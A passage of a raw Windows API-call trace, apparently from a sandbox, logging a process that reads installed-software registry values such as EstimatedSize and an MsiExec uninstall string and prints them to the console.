CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0147.096] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.096] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.097] __iob_func () returned 0x7fefd702a80 [0147.097] _fileno (_File=0x7fefd702ab0) returned 1 [0147.097] _errno () returned 0xc4bb0 [0147.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.097] _errno () returned 0xc4bb0 [0147.097] GetFileType (hFile=0x50) returned 0x1 [0147.097] lstrlenW (lpString=" ") returned 4 [0147.097] GetConsoleOutputCP () returned 0x1b5 [0147.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.097] GetConsoleOutputCP () returned 0x1b5 [0147.097] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.097] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.097] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.097] __iob_func () returned 0x7fefd702a80 [0147.097] _fileno (_File=0x7fefd702ab0) returned 1 [0147.097] _errno () returned 0xc4bb0 [0147.097] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.097] _errno () returned 0xc4bb0 [0147.097] GetFileType (hFile=0x50) returned 0x1 [0147.097] lstrlenW (lpString="REG_SZ") returned 6 [0147.097] GetConsoleOutputCP () returned 0x1b5 [0147.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.098] GetConsoleOutputCP () returned 0x1b5 [0147.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.098] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.098] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.098] __iob_func () returned 0x7fefd702a80 [0147.098] _fileno (_File=0x7fefd702ab0) returned 1 [0147.098] _errno () returned 0xc4bb0 [0147.098] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.098] _errno () returned 0xc4bb0 [0147.098] GetFileType (hFile=0x50) returned 0x1 [0147.098] lstrlenW (lpString=" ") returned 4 [0147.098] GetConsoleOutputCP () returned 0x1b5 [0147.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.098] GetConsoleOutputCP () returned 0x1b5 [0147.098] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.098] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.098] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.098] __iob_func () returned 0x7fefd702a80 [0147.098] _fileno (_File=0x7fefd702ab0) returned 1 [0147.099] _errno () returned 0xc4bb0 [0147.099] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.099] _errno () returned 0xc4bb0 [0147.099] GetFileType (hFile=0x50) returned 0x1 [0147.099] lstrlenW (lpString="") returned 0 [0147.099] __iob_func () returned 0x7fefd702a80 [0147.099] _fileno (_File=0x7fefd702ab0) returned 1 [0147.099] _errno () returned 0xc4bb0 [0147.099] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.099] _errno () returned 0xc4bb0 [0147.099] GetFileType (hFile=0x50) returned 0x1 [0147.099] lstrlenW (lpString="\n") returned 1 [0147.099] GetConsoleOutputCP () returned 0x1b5 [0147.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.099] GetConsoleOutputCP () returned 0x1b5 [0147.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.099] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.099] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.099] GetProcessHeap () returned 0x2e0000 [0147.099] GetProcessHeap () returned 0x2e0000 [0147.099] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.099] GetProcessHeap () returned 0x2e0000 [0147.099] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.099] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.099] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.099] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.100] GetProcessHeap () returned 0x2e0000 [0147.100] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.100] GetProcessHeap () returned 0x2e0000 [0147.100] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.100] GetProcessHeap () returned 0x2e0000 [0147.100] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.100] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x3777, pcbData=0x23f670*=0x4) returned 0x0 [0147.100] __iob_func () returned 0x7fefd702a80 [0147.100] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.100] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.100] _fileno (_File=0x7fefd702ab0) returned 1 [0147.100] _errno () returned 0xc4bb0 [0147.100] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.100] _errno () returned 0xc4bb0 [0147.100] GetFileType (hFile=0x50) returned 0x1 [0147.100] lstrlenW (lpString=" ") returned 4 [0147.100] GetConsoleOutputCP () returned 0x1b5 [0147.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.100] GetConsoleOutputCP () returned 0x1b5 [0147.100] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.100] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.100] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.101] lstrlenW (lpString="EstimatedSize") returned 13 [0147.101] __iob_func () returned 0x7fefd702a80 [0147.101] _fileno (_File=0x7fefd702ab0) returned 1 [0147.101] _errno () returned 0xc4bb0 [0147.101] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.101] _errno () returned 0xc4bb0 [0147.101] GetFileType (hFile=0x50) returned 0x1 [0147.101] lstrlenW (lpString="EstimatedSize") returned 13 [0147.101] GetConsoleOutputCP () returned 0x1b5 [0147.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.101] GetConsoleOutputCP () returned 0x1b5 [0147.101] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0147.101] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.101] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.101] __iob_func () returned 0x7fefd702a80 [0147.101] _fileno (_File=0x7fefd702ab0) returned 1 [0147.101] _errno () returned 0xc4bb0 [0147.101] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.101] _errno () returned 0xc4bb0 [0147.101] GetFileType (hFile=0x50) returned 0x1 [0147.101] lstrlenW (lpString=" ") returned 4 [0147.101] GetConsoleOutputCP () returned 0x1b5 [0147.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.102] GetConsoleOutputCP () returned 0x1b5 [0147.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.102] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.102] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.102] __iob_func () returned 0x7fefd702a80 [0147.102] _fileno (_File=0x7fefd702ab0) returned 1 [0147.102] _errno () returned 0xc4bb0 [0147.102] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.102] _errno () returned 0xc4bb0 [0147.102] GetFileType (hFile=0x50) returned 0x1 [0147.102] lstrlenW (lpString="REG_DWORD") returned 9 [0147.102] GetConsoleOutputCP () returned 0x1b5 [0147.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.102] GetConsoleOutputCP () returned 0x1b5 [0147.102] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.102] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.102] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.102] __iob_func () returned 0x7fefd702a80 [0147.103] _fileno (_File=0x7fefd702ab0) returned 1 [0147.103] _errno () returned 0xc4bb0 [0147.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.103] _errno () returned 0xc4bb0 [0147.103] GetFileType (hFile=0x50) returned 0x1 [0147.103] lstrlenW (lpString=" ") returned 4 [0147.103] GetConsoleOutputCP () returned 0x1b5 [0147.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.103] GetConsoleOutputCP () returned 0x1b5 [0147.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.103] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.103] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.103] __iob_func () returned 0x7fefd702a80 [0147.103] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.103] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x3777") returned 6 [0147.103] _fileno (_File=0x7fefd702ab0) returned 1 [0147.103] _errno () returned 0xc4bb0 [0147.103] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.103] _errno () returned 0xc4bb0 [0147.103] GetFileType (hFile=0x50) returned 0x1 [0147.103] lstrlenW (lpString="0x3777") returned 6 [0147.103] GetConsoleOutputCP () returned 0x1b5 [0147.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3777", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.104] GetConsoleOutputCP () returned 0x1b5 [0147.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3777", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3777", lpUsedDefaultChar=0x0) returned 6 [0147.104] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.104] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.104] __iob_func () returned 0x7fefd702a80 [0147.104] _fileno (_File=0x7fefd702ab0) returned 1 [0147.104] _errno () returned 0xc4bb0 [0147.104] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.104] _errno () returned 0xc4bb0 [0147.104] GetFileType (hFile=0x50) returned 0x1 [0147.104] lstrlenW (lpString="\n") returned 1 [0147.104] GetConsoleOutputCP () returned 0x1b5 [0147.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.104] GetConsoleOutputCP () returned 0x1b5 [0147.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.104] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.104] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.104] GetProcessHeap () returned 0x2e0000 [0147.104] GetProcessHeap () returned 0x2e0000 [0147.104] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.104] GetProcessHeap () returned 0x2e0000 [0147.104] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.104] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.105] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.105] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.105] GetProcessHeap () returned 0x2e0000 [0147.105] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.105] GetProcessHeap () returned 0x2e0000 [0147.105] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.105] GetProcessHeap () returned 0x2e0000 [0147.105] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.105] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.105] __iob_func () returned 0x7fefd702a80 [0147.105] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.105] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.105] _fileno (_File=0x7fefd702ab0) returned 1 [0147.105] _errno () returned 0xc4bb0 [0147.105] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.105] _errno () returned 0xc4bb0 [0147.105] GetFileType (hFile=0x50) returned 0x1 [0147.105] lstrlenW (lpString=" ") returned 4 [0147.105] GetConsoleOutputCP () returned 0x1b5 [0147.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.105] GetConsoleOutputCP () returned 0x1b5 [0147.105] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.105] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.105] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.106] lstrlenW (lpString="UninstallString") returned 15 [0147.106] __iob_func () returned 0x7fefd702a80 [0147.106] _fileno (_File=0x7fefd702ab0) returned 1 [0147.106] _errno () returned 0xc4bb0 [0147.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.106] _errno () returned 0xc4bb0 [0147.106] GetFileType (hFile=0x50) returned 0x1 [0147.106] lstrlenW (lpString="UninstallString") returned 15 [0147.106] GetConsoleOutputCP () returned 0x1b5 [0147.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.106] GetConsoleOutputCP () returned 0x1b5 [0147.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0147.106] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.106] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.106] __iob_func () returned 0x7fefd702a80 [0147.106] _fileno (_File=0x7fefd702ab0) returned 1 [0147.106] _errno () returned 0xc4bb0 [0147.106] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.106] _errno () returned 0xc4bb0 [0147.106] GetFileType (hFile=0x50) returned 0x1 [0147.106] lstrlenW (lpString=" ") returned 4 [0147.106] GetConsoleOutputCP () returned 0x1b5 [0147.106] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.107] GetConsoleOutputCP () returned 0x1b5 [0147.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.107] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.107] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.107] __iob_func () returned 0x7fefd702a80 [0147.107] _fileno (_File=0x7fefd702ab0) returned 1 [0147.107] _errno () returned 0xc4bb0 [0147.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.107] _errno () returned 0xc4bb0 [0147.107] GetFileType (hFile=0x50) returned 0x1 [0147.107] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.107] GetConsoleOutputCP () returned 0x1b5 [0147.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.107] GetConsoleOutputCP () returned 0x1b5 [0147.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0147.107] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.107] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.107] __iob_func () returned 0x7fefd702a80 [0147.107] _fileno (_File=0x7fefd702ab0) returned 1 [0147.107] _errno () returned 0xc4bb0 [0147.107] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.107] _errno () returned 0xc4bb0 [0147.107] GetFileType (hFile=0x50) returned 0x1 [0147.108] lstrlenW (lpString=" ") returned 4 [0147.108] GetConsoleOutputCP () returned 0x1b5 [0147.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.108] GetConsoleOutputCP () returned 0x1b5 [0147.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.108] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.108] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.108] __iob_func () returned 0x7fefd702a80 [0147.108] _fileno (_File=0x7fefd702ab0) returned 1 [0147.108] _errno () returned 0xc4bb0 [0147.108] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.108] _errno () returned 0xc4bb0 [0147.108] GetFileType (hFile=0x50) returned 0x1 [0147.108] lstrlenW (lpString="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}") returned 52 [0147.108] GetConsoleOutputCP () returned 0x1b5 [0147.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0147.108] GetConsoleOutputCP () returned 0x1b5 [0147.108] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{1D8E6291-B0D5-35EC-8441-6616F567A0F7}", lpUsedDefaultChar=0x0) returned 52 [0147.108] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0147.108] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.109] __iob_func () returned 0x7fefd702a80 [0147.109] _fileno (_File=0x7fefd702ab0) returned 1 [0147.109] _errno () returned 0xc4bb0 [0147.109] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.109] _errno () returned 0xc4bb0 [0147.109] GetFileType (hFile=0x50) returned 0x1 [0147.109] lstrlenW (lpString="\n") returned 1 [0147.109] GetConsoleOutputCP () returned 0x1b5 [0147.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.109] GetConsoleOutputCP () returned 0x1b5 [0147.109] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.109] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.109] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.109] GetProcessHeap () returned 0x2e0000 [0147.109] GetProcessHeap () returned 0x2e0000 [0147.109] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.109] GetProcessHeap () returned 0x2e0000 [0147.109] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.109] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0147.109] 